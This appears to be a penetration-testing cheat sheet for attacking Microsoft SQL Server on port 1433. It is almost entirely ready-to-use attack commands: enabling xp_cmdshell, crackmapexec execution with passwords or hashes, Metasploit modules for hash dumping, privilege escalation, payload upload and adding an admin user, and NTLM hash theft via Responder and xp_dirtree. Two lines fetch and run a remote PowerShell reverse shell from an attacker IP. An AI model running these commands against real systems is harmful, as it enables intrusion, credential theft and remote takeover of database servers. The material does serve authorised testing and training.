#
Port 1433 - MSSQL
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications which may run either on the same computer or on another computer across a network (including the Internet).
#
Execute Commands
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
# This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
#
Metasploit
# Steal NTLM hash, before executing run Responder
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
# Set USERNAME, RHOSTS and PASSWORD
# Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
# Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump
# Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf
# Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
# Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
# Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
#
With Credentials
#
Impacket
You can login into the service using impacket mssqlclient.py
.
mssqlclient.py -db volume -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP> #Recommended -windows-auth when you are going to use a domain. use as domain the netBIOS name of the machine
#Once logged in you can run queries:
SQL> select @@ version;
#Steal NTLM hash
sudo responder -I <interface> #Run that in other console
SQL> exec master..xp_dirtree '\\<YOUR_RESPONDER_IP>\test' #Steal the NTLM hash, crack it with john or hashcat
#Try to enable code execution
SQL> enable_xp_cmdshell
#Execute code, 2 sintax, for complex and non complex cmds
SQL> xp_cmdshell whoami /all
SQL> EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
#
SQSH
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
1. try and see if it works
> xp_cmdshell `whoami`
> go
2. try to turn component back on
> EXEC SP_CONFIGURE 'xp_cmdshell' , 1
> reconfigure
> go
> xp_cmdshell `whoami`
> go
3. 'advanced' turn it back on
> EXEC SP_CONFIGURE 'show advanced options', 1
> reconfigure
> go
> EXEC SP_CONFIGURE 'xp_cmdshell' , 1
> reconfigure
> go
> xp_cmdshell 'whoami'
> go
# If RCE works we can get a reverse shell
> xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/revshell.ps1')"